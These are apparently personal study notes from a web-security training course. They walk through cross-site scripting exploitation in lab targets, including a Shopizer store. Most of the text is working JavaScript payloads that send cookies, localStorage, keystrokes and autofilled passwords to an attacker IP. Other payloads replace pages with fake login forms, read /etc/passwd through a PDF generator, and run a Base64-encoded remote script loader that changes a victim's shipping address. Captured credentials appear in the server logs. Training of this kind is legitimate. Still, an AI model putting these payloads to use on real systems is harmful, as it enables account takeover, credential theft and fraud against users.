Exploitation
All the content below is based on OffSec's WEB-200 course.
.js
files containing pure JavaScript payloads need to be used with a tag that will automatically execute them, e.g. <script>
. They cannot be used with Client XSS vulnerabilities that use innerHTML
.
Session Hijacking
We can create a malicious JavaScript file and exfiltrate the target's session cookie.
// save the value of the cookie in a variable
let cookie = document.cookie
// URL-encode the variable
let encodedCookie = encodeURIComponent(cookie)
// make a GET request to our attacker machine exfiltrating the cookie
fetch("http://192.168.45.214/exfil?data=" + encodedCookie)
We can serve the payload using the same script as above.
<script src="http://192.168.45.214/xss.js"></script>
When the target clicks the malicious link, we will receive their cookie.
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [05/Aug/2024 12:07:13] "GET /xss.js HTTP/1.1" 200 -
192.168.198.101 - - [05/Aug/2024 12:07:13] code 404, message File not found
192.168.198.101 - - [05/Aug/2024 12:07:13] "GET /exfil?data=session%3DSomeExampleCookie HTTP/1.1" 404 -
If the cookie has the HttpOnly
flag set, JavaScript cannot access it, thus, we can't exfiltrate its value.
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [05/Aug/2024 12:15:53] "GET /xss.js HTTP/1.1" 200 -
192.168.198.101 - - [05/Aug/2024 12:15:53] code 404, message File not found
192.168.198.101 - - [05/Aug/2024 12:15:53] "GET /exfil?data= HTTP/1.1" 404 -
Stealing Local Secrets
Browsers have two types of storage available: sessionStorage
and localStorage
.
sessionStorage
Stores the data until the tab is closed
window.sessionStorage
localStorage
Stores the data until explicitly deleted
window.localStorage
To exfiltrate localStorage
, we will convert the object into a string, URL-encode it, and use fetch
to exfil the data.
let data = JSON.stringify(localStorage)
let encodedData - encodeURIComponent(data)
fetch("http://<attackerIP>/exfil?data=" + encodedData)
// injected payload
<script src="http://192.168.45.214/xssLocalStorage.js"></script>
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.45.214 - - [05/Aug/2024 16:54:47] "GET /xssLocalStorage.js HTTP/1.1" 200 -
192.168.45.214 - - [05/Aug/2024 16:54:47] code 404, message File not found
192.168.45.214 - - [05/Aug/2024 16:54:47] "GET /exfil?data=%7B%22BROWSER_OPT_KEY%22%3A%22%7B%5C%22httpOnlyCookie%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Use%20HttpOnly%20Cookie%5C%22%2C%5C%22value%5C%22%3Afalse%7D%2C%5C%22nonHttpOnlyCookie%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Use%20Non-HttpOnly%20Cookie%5C%22%2C%5C%22value%5C%22%3Atrue%7D%2C%5C%22phishing%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Blindly%20enter%20credentials%5C%22%2C%5C%22value%5C%22%3Afalse%7D%2C%5C%22savedPasswords%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Use%20stored%20password%5C%22%2C%5C%22value%5C%22%3Afalse%7D%2C%5C%22keyStrokes%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Simulate%20keystrokes%5C%22%2C%5C%22value%5C%22%3Afalse%7D%2C%5C%22localStorage%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Data%20in%20Local%20Storage%5C%22%2C%5C%22value%5C%22%3Afalse%7D%7D%22%7D HTTP/1.1" 404 -
Keylogging
Keylogging is useful when our target is the user rather than the application, but it is limited in the sense that only the current user tab is logged. The JavaScript event for keypresses is keydown
, which need to be passed into the addEventListener
function which also accepts a callback function to run for each keydown event.
function logKey(event){
fetch("http://192.168.45.214/k?key=" + event.key)
}
// for each keypress, execute the callback function
document.addEventListener('keydown', logKey);
// XSS payload
<script src='http://192.168.45.214/xssKeylogger.js'></script>
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.45.214 - - [06/Aug/2024 06:37:32] "GET /xssKeylogger.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 06:37:36] "GET /xssKeylogger.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 06:37:37] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 06:37:37] "GET /k?key=I HTTP/1.1" 404 -
192.168.198.101 - - [06/Aug/2024 06:37:37] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 06:37:37] "GET /k?key=f HTTP/1.1" 404 -
192.168.198.101 - - [06/Aug/2024 06:37:37] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 06:37:37] "GET /k?key= HTTP/1.1" 404 -
192.168.198.101 - - [06/Aug/2024 06:37:37] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 06:37:37] "GET /k?key=I HTTP/1.1" 404 -
<SNIP>
# extract the keystrokes
$ grep 'key' keylogger_output.txt | awk -F'=' '{print $2}' | grep -o '^[a-zA-Z0-9{}]' | tr -d '\n'
IfItypealotonmykeyboardRyuggythinksImworkinghardOS{<SNIP>}
Stealing Saved Passwords
If a password manager application autofills any login form, this information can be extracted via XSS. Password managers search for combination of a username
or email
input and an input that has type
attribute set to password
.
// save the body of the document into a var
let body = document.getElementsByTagName("body")[0]
// create the username element
var u = document.createElement("input");
u.type = "text";
u.style.position = "fixed";
//u.style.opacity = "0";
// create the password element
var p = document.createElement("input");
p.type = "password";
u.style.position = "fixed";
//u.style.opacity = "0";
// append elements to the body
body.append(u)
body.append(p)
// set a GET request after a 5 second timeout
setTimeout(function(){
fetch("http://192.168.45.214/k?u=" + u.value + "&p=" + p.value)
}, 5000);
// XSS payload
<script src='http://192.168.45.214/xssSavedPasswords.js'></script>
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [06/Aug/2024 07:12:54] "GET /xssSavedPasswords.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 07:12:59] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 07:12:59] "GET /k?u=Ryuggy&p=ShavedHeadsFTW HTTP/1.1" 404 -

Phishing Users
Since we have full access to the HTML document, we could replicate an existing login page and change its action
attribute to redirect the credentials to us (Figure 3).

We can create a script that fetches the login
page, replaces the current page's HTML with the fetched content, and then updates the first form's action URL and method.
// fetch the content of the login page and access the response using 'then'
fetch("login").then(res => res.text().then(data => {
// replace the current HTML content with the fetched HTML content
document.getElementsByTagName("html")[0].innerHTML = data
// update the action attribute to point to the malicious server
document.getElementsByTagName("form")[0].action = "http://192.168.45.214"
// update the method attribute from POST to GET
document.getElementsByTagName("form")[0].method = "get"
}))
// XSS payload
<script src='http://192.168.45.214/xssPhishing.js'></script>
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [06/Aug/2024 07:42:32] "GET /xssPhishing.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 07:42:41] "GET /?username=gullible&password=IMaybeGullibleButMyPasswordsAreStrong HTTP/1.1" 200 -

Phishing Users (2)
This time the application does not have its own login page, so we will have to create one and redirect the target user to it. We can find boilerplate HTML login form code, such as this, and remove the unecessary parts for simplicity. We will need to change the action
and method
atrributes of the form
element so that it sends a GET
request to our malicious server.
<!-- the action to perform -->
<form action="http://192.168.45.214/login" method="get">
<div class="container">
<!-- a label and input field pair for entering a username. -->
<label for="uname"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="uname" required>
<!-- a label and input field pair for entering a password. -->
<label for="psw"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw" required>
<!-- the submit button -->
<button type="submit">Login</button>
</div>
</form>
If we spin up an HTTP server and test our script, we can see that it is working as intended (Figure 5).

login.html
file.The application uses the innerHTML
method to reconstuct the table (Figure 6), which means that we can't use the <script>
tag in order to inject and execute a .js
file directly. However, we use the <img>
tag.

list.js
code.We need to find a way to execute our payload (xssPhishingLogin.js
) via the <img>
tag. This can be achieved by creating a script
element within the <img>
tag itself. Again, we will remove the unecessary parts from the code, and point it to our malicious server.
const script = document.createElement('script');
// point the element's source to our malicious payload
script.src = 'http://192.168.45.214/xssPhishingLogin.js';
script.async = true;
document.body.appendChild(script);
In order to place it within our <img>
-based XSS payload, we need to convert the above code into a one-liner by removing all the white space.
<img src="/" onerror='const script = document.createElement("script");script.src = "http://192.168.45.214/xssPhishingLogin.js";script.async = true;document.body.appendChild(script);'>
Finally, we need to create the xssPhishingLogin.js
file. We need to use this to essentially replace the HTML code of the List application with the HTML code of our login form. For doing this, we need to convert our login.html
code into a one-liner and use innerHTML
to make the swap.
document.getElementsByTagName("html")[0].innerHTML = '<form action="http://192.168.45.214/login.html" method="GET"><div class="container"><label for="uname"><b>Username</b></label><input type="text" placeholder="Enter Username" name="uname" required><label for="psw"><b>Password</b></label><input type="password" placeholder="Enter Password" name="psw" required><button type="submit">Login</button></div></form>'
Now that everything is in place, by injecting our XSS payload into the vulnerable field, the target user will be redirected to our login form, and we should receive their credentials.

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [06/Aug/2024 14:13:45] "GET /xssPhishingLogin.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 14:13:51] "GET /login.html?uname=IDontHackStuff&psw=OS%7B<SNIP>%7D HTTP/1.1" 200 -
XSS to LFI
The below example is based on HTB's Web Enumeration & Exploitation module.
The site tracking.inlanefreight.local
accepts a tracking number and generates a PDF document. The tracking number gets reflected in the PDF (Figure 16).

The input field takes any input, not just numbers, and accepts both HTML and JS (Figure 17).
<h1>test</h1>

Following this and this post that use XMLHttpRequest, we can try to achieve LFI (Figure 19).
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>

Shopizer
The example below is based on OffSec's WEB-200 course.
Recon
In Shopizer's Products > Handbags tab, we notice the /ref=c:2
string which resembles a URL parameter but it is missing the ?
. Inspecting the page's source code, we see that this string is used in multiple URIs as well as in the loadCategoryProducts()
method (Figure 12).

We can try to inject a canary and see whether it gets reflected within the loadCategoryProducts()
method, and this is indeed the case (Figure 13.1). When we try to escape using a single quote and inject valid JavaScript code, the application adds another single quote at the end of the payload automatically (Figure 13.2).

After trying different things, we find a way to inject and execute our code by using plus signs (+
) instead of semicolons (;
) (Figure 14).

Payload Creation
To avoid any potential restrictions that might exist while passing the payload through the URL, we will try and load it from a remote file. When inspecting Shopizer's site map, we notice that it uses the jQuery
library (Figure 15), thus, we might be to use jQuery.getScript()
method.

resources
folder.We will first create a test payload file (xssShopizer.js
) to see if everything works as it should. Because we need to inject our XSS payload directly into the URL, we will also need to encode it. We will use the window.btoa()
method to Base64 encode the payload, and then use the resulting string within the window.atob()
method in order to decode it (Figure 16).
alert()

Finally, in order for our payload to be executed, we will wrap the atob()
method with the eval()
method. We also need to make sure to use the required '
and +
signs (Figure 17).
// the final XSS payload
'+eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1Nob3BpemVyLmpzJyk="))+'

Although the XSS payload worked as intended, we get an Error
alert right after it (Figure 18). If we repeat the process, we will notice that sometimes the Error
comes before our payload, which prevents the payload to be executed.

As we can see via the browser's Console
tab, the cause of the Error
message might be associated with malformed syntax (Figure 19).

Error
message.If we wrap our payload with the btoa()
method in order to Base64 the whole payload, the message gets away (Figure 20).
'+btoa(eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1Nob3BpemVyLmpzJyk="))+'

Error
message.Exploitation
We have successfully enumerated an XSS vulnerability and constructed an executable payload. Unfortunately, when logging into the application, the JSESSIOND
cookie sets the HttpOnly
attribute to true
(Figure 21). As a result, we won't be able to access this with JavaScript.

Under My Account > Billing & shipping information there is the option Add new address. This POST
request includes the customerId
parameter, but it appears to be optional (Figure 22).

updateAddress
POST
request.We can create a JavaScript payload that sends the above request using the target user's cookie, and therefore, changing their address to an address we control so we can redirect their orders.
fetch('http://xss/shop/customer/updateAddress.html',{
// setting the HTTP method
method: 'POST',
// the payload will be hosted on the same domain as the application
// which allows the browser to send the JSESSIONID cookie since the
// request won't be cross-origin
mode: 'same-origin',
credentials: 'same-origin',
headers: {
'Content-Type':'application/x-www-form-urlencoded'
},
body:'customerId=&billingAddress=false&firstName=hax&lastName=hax&company=&address=hax&city=hax&country=AL&stateProvince=z&postalCode=z&phone=z&submitAddress=Change address'
})
// the XSS payload
'+btoa(eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1Nob3BpemVyQWRkcmVzcy5qcycp")))+'

We can also craft an XSS payload to extract the user's stored credentials.
let body = document.getElementsByTagName("body")[0]
var u = document.createElement("input");
u.type = "text";
u.style.position = "fixed";
//u.style.opacity = "0";
var p = document.createElement("input");
p.type = "password";
p.style.position = "fixed";
//p.style.opacity = "0";
body.append(u)
body.append(p)
setTimeout(function(){
fetch("http://192.168.45.214/k?u=" + u.value + "&p=" + p.value)
}, 5000);
// the XSS payload
'+btoa(eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1NhdmVkUGFzc3dvcmRzLmpzJyk=" )))+'
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.228.101 - - [07/Aug/2024 14:19:51] "GET /xssSavedPasswords.js?_=1723036791071 HTTP/1.1" 200 -
192.168.228.101 - - [07/Aug/2024 14:19:56] code 404, message File not found
192.168.228.101 - - [07/Aug/2024 14:19:56] "GET /k?u=AmandaGomesCarvalho@offsec.com&p=ALERT!how<SNIP>? HTTP/1.1" 404
Last updated
Was this helpful?